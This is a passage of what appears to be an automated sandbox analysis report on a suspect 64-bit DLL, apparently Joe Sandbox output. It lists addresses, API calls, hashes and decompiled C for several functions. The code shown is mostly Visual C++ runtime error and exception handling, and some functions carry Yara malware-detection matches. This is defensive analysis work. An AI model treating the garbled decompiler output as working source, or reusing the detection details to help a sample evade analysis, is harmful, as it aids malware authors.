                                                                        0x10004f7f
                                                                        0x10004f81
                                                                        0x10004f87
                                                                        0x10004fbe
                                                                        0x10004fc3
                                                                        0x10004fc8
                                                                        0x10004fca
                                                                        0x10004fcc
                                                                        0x10004fcf
                                                                        0x10004fd4
                                                                        0x10004fd6
                                                                        0x10004fdb
                                                                        0x10004fdb
                                                                        0x10004fe0
                                                                        0x10004fe5
                                                                        0x10004fed
                                                                        0x10004fe7
                                                                        0x10004fe7
                                                                        0x10004fe7
                                                                        0x00000000
                                                                        0x10004fe5
                                                                        0x10004f89
                                                                        0x10004f90
                                                                        0x10004f9a
                                                                        0x10004fa0
                                                                        0x10004fa9
                                                                        0x10004fb1
                                                                        0x10004fb3
                                                                        0x10004fb5
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10004fb7
                                                                        0x10004fbc
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10004fbc
                                                                        0x10004e7e
                                                                        0x10004e8a
                                                                        0x10004e9d
                                                                        0x10004ea3
                                                                        0x10004ea6
                                                                        0x00000000
                                                                        0x10004ea8
                                                                        0x10004eab
                                                                        0x10004eba
                                                                        0x10004eca
                                                                        0x10004ecf
                                                                        0x10004ed9
                                                                        0x10004ee9
                                                                        0x10004ef3
                                                                        0x10004efa
                                                                        0x10004eff
                                                                        0x10004f01
                                                                        0x10004f03
                                                                        0x10004f06
                                                                        0x10004f0b
                                                                        0x10004f0d
                                                                        0x10004f12
                                                                        0x10004f12
                                                                        0x10004f17
                                                                        0x10004f1c
                                                                        0x10004f1e
                                                                        0x10004f31
                                                                        0x10004f36
                                                                        0x10004f39
                                                                        0x10004f40
                                                                        0x10004f42
                                                                        0x10004f55
                                                                        0x10004f5a
                                                                        0x10004f5a
                                                                        0x10004f40
                                                                        0x00000000
                                                                        0x10004f1c
                                                                        0x10004ea6
                                                                        0x10004e8c
                                                                        0x10004e8c
                                                                        0x00000000

                                                                        APIs
                                                                          • Part of subcall function 10002B70: FlsGetValue.KERNEL32(?,?,?,?,10004E5D), ref: 10002B7F
                                                                        • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,1000202B), ref: 10004E7E
                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,1000202B), ref: 10004E9D
                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,1000202B), ref: 10004EC1
                                                                        • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,1000202B), ref: 10004EE0
                                                                        • GetProcAddress.KERNEL32 ref: 10004F28
                                                                        • GetProcAddress.KERNEL32 ref: 10004F4C
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressProc$LibraryLoadValue
                                                                        • String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
                                                                        • API String ID: 3789089765-232180764
                                                                        • Opcode ID: b86653852a602be9b4666fd01400673d32fe7e35ba5f2f6a4d458dfd1c610073
                                                                        • Instruction ID: adb9f5f089968d3b64452a61d192bbf22ac5e30f54ca1d29c493117df7e12b4c
                                                                        • Opcode Fuzzy Hash: b86653852a602be9b4666fd01400673d32fe7e35ba5f2f6a4d458dfd1c610073
                                                                        • Instruction Fuzzy Hash: D5514B79205B4185FA55EF61B8657AA73E0FB8DBC0F451025EE8E83B18EFB8D884C704
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180006698 Relevance: 15.7, Strings: 12, Instructions: 698COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: "u$7]$>Q$?#$Sr$Uk$f#$r)$%$H$Q$W
                                                                        • API String ID: 0-4243515851
                                                                        • Opcode ID: 492d834b9a837f3b806bd78a47173ec54b06c2d2ef030b8ce1e64167c5227f6f
                                                                        • Instruction ID: 2faeab9e995ac6ea486d41f54978f0b1cbf11404a1e250e25c9a5fff81a0a3f8
                                                                        • Opcode Fuzzy Hash: 492d834b9a837f3b806bd78a47173ec54b06c2d2ef030b8ce1e64167c5227f6f
                                                                        • Instruction Fuzzy Hash: 58721570908B448BE768CF39C58965EBBF1FB84744F204A1DE6A2872B1DB74D946CF42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180001368 Relevance: 13.4, Strings: 10, Instructions: 886COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: %o[>$)65$1Zam$3U$VZ$X/$]<$n22$zUgU$k
                                                                        • API String ID: 0-1058936433
                                                                        • Opcode ID: 49fa304ac972c191e285c65c3236d969994f04a803b17e4ebbcb83e9e1211164
                                                                        • Instruction ID: faec9aa292cd24f8ccde540f29adef47ea5028e3415cd21919036d69de9c11db
                                                                        • Opcode Fuzzy Hash: 49fa304ac972c191e285c65c3236d969994f04a803b17e4ebbcb83e9e1211164
                                                                        • Instruction Fuzzy Hash: 5992B17190478C8FEB58CFA8C88A5DD7FB1FB54388F20411DE85A97291D7B49989CF81
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10001E60 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 143fileCOMMONLIBRARYCODECrypto
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 70%
                                                                        			E10001E60(int __eax, void* __ecx, long long __rbx, void* __rdx, long long __rdi, long long __rsi, void* __r9, long long __r12, void* __r13) {
				int _t28;
				void* _t29;
				long _t32;
				long _t34;
				long _t38;
				long _t40;
				long _t43;
				void* _t44;
				void* _t56;
				void* _t62;
				long _t67;
				void* _t70;
				void* _t84;
				long long _t93;
				void* _t95;
				void* _t98;
				void* _t99;
				void* _t108;
				void* _t114;

				_t114 = __r13;
				_t108 = __r9;
				_t93 = __rsi;
				_t89 = __rdi;
				_t84 = __rdx;
				_t68 = __rbx;
				_t44 = __ecx;
				_t28 = __eax;
				 *((long long*)(_t98 + 0x50)) = __rbx;
				 *((long long*)(_t98 + 0x60)) = __rsi;
				 *((long long*)(_t98 + 0x68)) = __rdi;
				 *((long long*)(_t98 + 0x40)) = __r12;
				_t67 = 0x10016070;
				_t62 = __ecx;
				_t43 = 0;
				while(_t44 !=  *_t67) {
					_t43 = _t43 + 1;
					_t67 = _t67 + 0x10;
					if(_t43 < 0x17) {
						continue;
					} else {
						L25:
						return _t28;
					}
				}
				__eflags = _t43 - 0x17;
				if(_t43 >= 0x17) {
					goto L25;
				}
				_t29 = E10005300(3, _t67, _t68, _t70, _t84, _t89, _t93, _t95, _t99);
				__eflags = _t29 - 1;
				if(_t29 == 1) {
					L22:
					_t28 = GetStdHandle();
					__eflags = _t67;
					if(_t67 != 0) {
						__eflags = _t67 - 0xffffffff;
						if(_t67 != 0xffffffff) {
							__eflags = _t43 + _t43;
							 *((long long*)(_t98 + 0x20)) = _t93;
							asm("repne scasb");
							_t28 = WriteFile(??, ??, ??, ??, ??);
						}
					}
					goto L25;
				}
				_t28 = E10005300(3, _t67, _t68, _t70, _t84, _t89, _t93, _t95, _t99);
				__eflags = _t28;
				if(_t28 != 0) {
					L8:
					__eflags = _t62 - 0xfc;
					if(_t62 != 0xfc) {
						_t86 = 0x10017799;
						r8d = 0x104;
						 *0x1001789d = sil;
						_t32 = GetModuleFileNameA(??, ??, ??);
						__eflags = _t32;
						if(_t32 == 0) {
							_t40 = E10005250(_t67, _t68, 0x10017799, 0x10017799, _t89, _t93, 0x10017780, "<program name unknown>");
							__eflags = _t40;
							if(_t40 != 0) {
								r9d = 0;
								r8d = 0;
								__eflags = 0;
								 *((long long*)(_t98 + 0x20)) = _t93;
								E10004660(0, 0x10017799, "<program name unknown>");
							}
						}
						asm("repne scasb");
						__eflags = 0xffffffff - 0x3c;
						if(0xffffffff > 0x3c) {
							_t10 = _t67 + 3; // 0x3
							r9d = _t10;
							_t86 = 0x10017a95;
							_t38 = E10005130(_t67, _t68, 0x10bc530a, 0x10017a95, 0x10017799, _t93, 0x10017780, "...", _t108);
							__eflags = _t38;
							if(_t38 != 0) {
								r9d = 0;
								r8d = 0;
								__eflags = 0;
								 *((long long*)(_t98 + 0x20)) = _t93;
								E10004660(0, 0x10017a95, "...");
							}
						}
						_t102 = "\n\n";
						_t34 = E10005070(_t67, _t68, 0x10017780, _t86, 0x10017799, _t93, 0x10017780, "\n\n");
						__eflags = _t34;
						if(_t34 != 0) {
							r9d = 0;
							r8d = 0;
							__eflags = 0;
							 *((long long*)(_t98 + 0x20)) = _t93;
							E10004660(0, _t86, _t102);
						}
						_t56 = 0x314;
						_t105 =  *((intOrPtr*)(0x10016070 + 8 + (_t43 + _t43) * 8));
						__eflags = E10005070(_t67, _t68, 0x10017780, _t86, 0x10017799, _t93, 0x10017780,  *((intOrPtr*)(0x10016070 + 8 + (_t43 + _t43) * 8)));
						if(__eflags != 0) {
							r9d = 0;
							r8d = 0;
							_t56 = 0;
							__eflags = 0;
							 *((long long*)(_t98 + 0x20)) = _t93;
							E10004660(0, _t86, _t105);
						}
						r8d = 0x12010;
						_t28 = E10004E30(_t56, __eflags, _t68, 0x10017780, "Microsoft Visual C++ Runtime Library", 0x10017799, _t93, 0x10017780, _t105, _t108, 0x10016070, _t114);
					}
					goto L25;
				}
				__eflags =  *0x10017198 - 1;
				if( *0x10017198 == 1) {
					goto L22;
				}
				goto L8;
			}






















                                                                        0x10001e60
                                                                        0x10001e60
                                                                        0x10001e60
                                                                        0x10001e60
                                                                        0x10001e60
                                                                        0x10001e60
                                                                        0x10001e60
                                                                        0x10001e60
                                                                        0x10001e64
                                                                        0x10001e69
                                                                        0x10001e6e
                                                                        0x10001e73
                                                                        0x10001e81
                                                                        0x10001e84
                                                                        0x10001e86
                                                                        0x10001e88
                                                                        0x10001e8c
                                                                        0x10001e8f
                                                                        0x10001e96
                                                                        0x00000000
                                                                        0x10001e98
                                                                        0x1000207e
                                                                        0x10002096
                                                                        0x10002096
                                                                        0x10001e96
                                                                        0x10001e9d
                                                                        0x10001ea0
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10001eab
                                                                        0x10001eb0
                                                                        0x10001eb3
                                                                        0x10002032
                                                                        0x10002037
                                                                        0x1000203d
                                                                        0x10002043
                                                                        0x10002045
                                                                        0x10002049
                                                                        0x10002055
                                                                        0x10002058
                                                                        0x1000206c
                                                                        0x10002078
                                                                        0x10002078
                                                                        0x10002049
                                                                        0x00000000
                                                                        0x10002043
                                                                        0x10001ebe
                                                                        0x10001ec3
                                                                        0x10001ec5
                                                                        0x10001ed4
                                                                        0x10001ed4
                                                                        0x10001eda
                                                                        0x10001f18
                                                                        0x10001f1f
                                                                        0x10001f27
                                                                        0x10001f2e
                                                                        0x10001f34
                                                                        0x10001f36
                                                                        0x10001f4b
                                                                        0x10001f50
                                                                        0x10001f52
                                                                        0x10001f54
                                                                        0x10001f57
                                                                        0x10001f5c
                                                                        0x10001f5e
                                                                        0x10001f63
                                                                        0x10001f63
                                                                        0x10001f52
                                                                        0x10001f78
                                                                        0x10001f7d
                                                                        0x10001f81
                                                                        0x10001f8f
                                                                        0x10001f8f
                                                                        0x10001f9a
                                                                        0x10001f9d
                                                                        0x10001fa2
                                                                        0x10001fa4
                                                                        0x10001fa6
                                                                        0x10001fa9
                                                                        0x10001fae
                                                                        0x10001fb0
                                                                        0x10001fb5
                                                                        0x10001fb5
                                                                        0x10001fa4
                                                                        0x10001fba
                                                                        0x10001fc9
                                                                        0x10001fce
                                                                        0x10001fd0
                                                                        0x10001fd2
                                                                        0x10001fd5
                                                                        0x10001fda
                                                                        0x10001fdc
                                                                        0x10001fe1
                                                                        0x10001fe1
                                                                        0x10001fe9
                                                                        0x10001ff4
                                                                        0x10001ffe
                                                                        0x10002000
                                                                        0x10002002
                                                                        0x10002005
                                                                        0x10002008
                                                                        0x1000200a
                                                                        0x1000200c
                                                                        0x10002011
                                                                        0x10002011
                                                                        0x1000201d
                                                                        0x10002026
                                                                        0x1000202b
                                                                        0x00000000
                                                                        0x10001eda
                                                                        0x10001ec7
                                                                        0x10001ece
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        APIs
                                                                        • GetModuleFileNameA.KERNEL32(?,?,?,?,?,?,?,?,1000217F,?,?,?,?,?,?,1000451F), ref: 10001F2E
                                                                        • GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,1000217F,?,?,?,?,?,?,1000451F), ref: 10002037
                                                                        • WriteFile.KERNEL32(?,?,?,?,?,?,?,?,1000217F,?,?,?,?,?,?,1000451F), ref: 10002078
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: File$HandleModuleNameWrite
                                                                        • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                                        • API String ID: 3784150691-4022980321
                                                                        • Opcode ID: 39227e6f09380d6b35dc18823cfdd845c18b936500560887c0fde5039efe5027
                                                                        • Instruction ID: afc7352224759268fe0ed98f289fcb6a40003c92b1e5090dbe30740d24e78d59
                                                                        • Opcode Fuzzy Hash: 39227e6f09380d6b35dc18823cfdd845c18b936500560887c0fde5039efe5027
                                                                        • Instruction Fuzzy Hash: E951013570878182FB15CB65F8207AE73A1F7897E0F900326AEA943AD9DF79D642C704
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10001050 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • RtlCaptureContext.KERNEL32 ref: 10001903
                                                                        • RtlLookupFunctionEntry.KERNEL32 ref: 10001922
                                                                        • RtlVirtualUnwind.KERNEL32 ref: 1000196E
                                                                        • IsDebuggerPresent.KERNEL32 ref: 100019E0
                                                                        • SetUnhandledExceptionFilter.KERNEL32 ref: 100019F8
                                                                        • UnhandledExceptionFilter.KERNEL32 ref: 10001A05
                                                                        • GetCurrentProcess.KERNEL32 ref: 10001A1E
                                                                        • TerminateProcess.KERNEL32 ref: 10001A2C
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
                                                                        • String ID:
                                                                        • API String ID: 3778485334-0
                                                                        • Opcode ID: bcb6e0bba2ecaed015d98f9366aa6c57bbb9faf3b48f9c44731325dab32b7be3
                                                                        • Instruction ID: 5025ce590f93154b811858bf8d65a5fc32f1dc4e01dd8c53c66dd1ab3d3c3881
                                                                        • Opcode Fuzzy Hash: bcb6e0bba2ecaed015d98f9366aa6c57bbb9faf3b48f9c44731325dab32b7be3
                                                                        • Instruction Fuzzy Hash: 9731D235205B8496EB26DB55F8843CAB3B4F789794F500126EACE43B68DFBCC199CB00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001484C Relevance: 10.9, Strings: 8, Instructions: 912COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: *D$HT$\T$f[a$h"$ot$u%$\B
                                                                        • API String ID: 0-968417195
                                                                        • Opcode ID: 63bf37535eb24419076e489a76d625db85bb6f475c5210ea91a365b5b290c744
                                                                        • Instruction ID: edd97358b2d33890f172f00e1292282c37a7472aea4b46f25d4f2009c3d84f30
                                                                        • Opcode Fuzzy Hash: 63bf37535eb24419076e489a76d625db85bb6f475c5210ea91a365b5b290c744
                                                                        • Instruction Fuzzy Hash: 40A2317054478B8FDB78CF64C845BEEBBE1FB84304F10852DE86A8BA51E7B49648DB41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10004700 Relevance: 9.1, APIs: 6, Instructions: 59COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 43%
                                                                        			E10004700(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, long long _a40) {
				long long _v0;
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				char _v1272;
				long long _v1416;
				char _v1432;
				long long _v1440;
				long long _v1448;
				long long _v1464;
				void* _t22;
				void* _t23;
				void* _t24;
				int _t30;
				void* _t32;
				int _t33;
				long long* _t40;
				intOrPtr _t47;
				long long* _t64;

				_t53 = __rdx;
				_t40 = _t64;
				 *((long long*)(_t40 - 8)) = __rbx;
				 *((long long*)(_t40 - 0x10)) = __rbp;
				 *((long long*)(_t40 - 0x18)) = __rsi;
				_t47 =  *0x10017df0; // 0xe03f21c00000000b
				 *((long long*)(_t40 - 0x20)) = __rdi;
				_t32 = r9d;
				_t23 = E10002BD0(_t22, _t40, _t47);
				if(_t40 == 0) {
					_t24 = E10004370(_t23);
					__imp__RtlCaptureContext();
					_t8 =  &_v1432; // 0x10000002f
					r8d = 0x98;
					E10001200(_t24, 2, 0, _t8, _t53, __r8);
					_v1432 = 0xc000000d;
					_v1416 = _v0;
					_v1448 =  &_v1432;
					_t14 =  &_v1272; // 0x1000000cf
					_v1440 = _t14;
					_t33 = IsDebuggerPresent();
					SetUnhandledExceptionFilter(??);
					if(UnhandledExceptionFilter(??) == 0 && _t33 == 0) {
						E10004370(_t28);
					}
					GetCurrentProcess();
					_t30 = TerminateProcess(??, ??);
				} else {
					r9d = _t32;
					_v1464 = _a40;
					_t30 =  *_t40();
				}
				return _t30;
			}























                                                                        0x10004700
                                                                        0x10004700
                                                                        0x1000470a
                                                                        0x1000470e
                                                                        0x10004712
                                                                        0x10004719
                                                                        0x10004720
                                                                        0x10004724
                                                                        0x1000472d
                                                                        0x10004735
                                                                        0x1000475c
                                                                        0x10004769
                                                                        0x1000476f
                                                                        0x10004776
                                                                        0x1000477c
                                                                        0x10004789
                                                                        0x10004791
                                                                        0x1000479b
                                                                        0x100047a0
                                                                        0x100047a8
                                                                        0x100047b5
                                                                        0x100047b7
                                                                        0x100047ca
                                                                        0x100047d3
                                                                        0x100047d3
                                                                        0x100047d8
                                                                        0x100047e6
                                                                        0x10004737
                                                                        0x1000473f
                                                                        0x1000474b
                                                                        0x10004750
                                                                        0x10004750
                                                                        0x10004813

                                                                        APIs
                                                                          • Part of subcall function 10002BD0: FlsGetValue.KERNEL32(?,?,?,100022C5,?,?,?,10001127), ref: 10002BE4
                                                                        • RtlCaptureContext.KERNEL32 ref: 10004769
                                                                        • IsDebuggerPresent.KERNEL32 ref: 100047AD
                                                                        • SetUnhandledExceptionFilter.KERNEL32 ref: 100047B7
                                                                        • UnhandledExceptionFilter.KERNEL32 ref: 100047C2
                                                                        • GetCurrentProcess.KERNEL32 ref: 100047D8
                                                                        • TerminateProcess.KERNEL32 ref: 100047E6
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminateValue
                                                                        • String ID:
                                                                        • API String ID: 2638224479-0
                                                                        • Opcode ID: a4cb8a28a1b56042a4e4736d2484be4f3fcad5f0277b90d4463ff3c08f69c360
                                                                        • Instruction ID: e3eb21f0a1897af74b7a403bae2a58d5fc9e285f07c831598937be93d434ecd8
                                                                        • Opcode Fuzzy Hash: a4cb8a28a1b56042a4e4736d2484be4f3fcad5f0277b90d4463ff3c08f69c360
                                                                        • Instruction Fuzzy Hash: 4D211439218B8096EB64DB52F8483AAB3A4FB89BC1F450026DB8E43B58DF78C555CB00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10004660 Relevance: 9.0, APIs: 6, Instructions: 34COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 38%
                                                                        			E10004660(void* __ecx, void* __rdx, void* __r8) {
				long long _v0;
				char _v1240;
				long long _v1384;
				char _v1400;
				long long _v1408;
				long long _v1416;
				void* _t12;
				int _t20;

				__imp__RtlCaptureContext();
				r8d = 0x98;
				E10001200(_t12, __ecx, 0,  &_v1400, __rdx, __r8);
				_v1400 = 0xc000000d;
				_v1384 = _v0;
				_v1416 =  &_v1400;
				_v1408 =  &_v1240;
				_t20 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				if(UnhandledExceptionFilter(??) == 0 && _t20 == 0) {
					E10004370(_t16);
				}
				GetCurrentProcess();
				return TerminateProcess(??, ??);
			}











                                                                        0x10004671
                                                                        0x1000467e
                                                                        0x10004684
                                                                        0x10004691
                                                                        0x10004699
                                                                        0x100046a3
                                                                        0x100046b0
                                                                        0x100046bd
                                                                        0x100046bf
                                                                        0x100046d2
                                                                        0x100046db
                                                                        0x100046db
                                                                        0x100046e0
                                                                        0x100046fc

                                                                        APIs
                                                                        • RtlCaptureContext.KERNEL32 ref: 10004671
                                                                        • IsDebuggerPresent.KERNEL32 ref: 100046B5
                                                                        • SetUnhandledExceptionFilter.KERNEL32 ref: 100046BF
                                                                        • UnhandledExceptionFilter.KERNEL32 ref: 100046CA
                                                                        • GetCurrentProcess.KERNEL32 ref: 100046E0
                                                                        • TerminateProcess.KERNEL32 ref: 100046EE
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
                                                                        • String ID:
                                                                        • API String ID: 1269745586-0
                                                                        • Opcode ID: 337c1b57b3d13f101000787ab40c326b7a21bfb83b4fcda71b9dcc481b2b5169
                                                                        • Instruction ID: a46b7595d54c6c99eca9fd38a60677f125d9c4a0886a428eb04af45806dd2638
                                                                        • Opcode Fuzzy Hash: 337c1b57b3d13f101000787ab40c326b7a21bfb83b4fcda71b9dcc481b2b5169
                                                                        • Instruction Fuzzy Hash: 70012C75224A8192EB25DB61F8443DBB3A4FBC9785F410125DACE42768EF7CC148CB14
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 100042A0 Relevance: 7.5, APIs: 5, Instructions: 41timethreadCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetSystemTimeAsFileTime.KERNEL32 ref: 100042E6
                                                                        • GetCurrentProcessId.KERNEL32 ref: 100042F1
                                                                        • GetCurrentThreadId.KERNEL32 ref: 100042FD
                                                                        • GetTickCount.KERNEL32 ref: 10004309
                                                                        • QueryPerformanceCounter.KERNEL32 ref: 1000431A
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
                                                                        • String ID:
                                                                        • API String ID: 1445889803-0
                                                                        • Opcode ID: 4dc76baf3cb2dfb8df74a08ef2b7f9774f5c82f724f540c158e90aa07aac783c
                                                                        • Instruction ID: 027032bb6171a848eff2e02a66ac233173ce76b2503a0a8f966e9d293b5f7973
                                                                        • Opcode Fuzzy Hash: 4dc76baf3cb2dfb8df74a08ef2b7f9774f5c82f724f540c158e90aa07aac783c
                                                                        • Instruction Fuzzy Hash: 8D11FA35655B8086E7428F25ED40386A364F74EB90F842215EECE437A4CBBCC9D9C700
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002A304 Relevance: 7.1, Strings: 5, Instructions: 835COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: rm|$4N/c$YO$B$u9E
                                                                        • API String ID: 0-3869539016
                                                                        • Opcode ID: 9a116dcf9b3a86797ace5d43516dce82c15cea16de5bd03a21175288c231a346
                                                                        • Instruction ID: dd830f35811cb5dd038b90d5f0796b68ea282e97d03e93aaa81673c63dea5034
                                                                        • Opcode Fuzzy Hash: 9a116dcf9b3a86797ace5d43516dce82c15cea16de5bd03a21175288c231a346
                                                                        • Instruction Fuzzy Hash: 9B92F47190478C8BEB59CF68C48969E7FE1FB84384F20462DF95A872A0D774D989CF81
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800199F4 Relevance: 6.3, Strings: 5, Instructions: 82COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: &E$J$\$0$\$0$%
                                                                        • API String ID: 0-3783372379
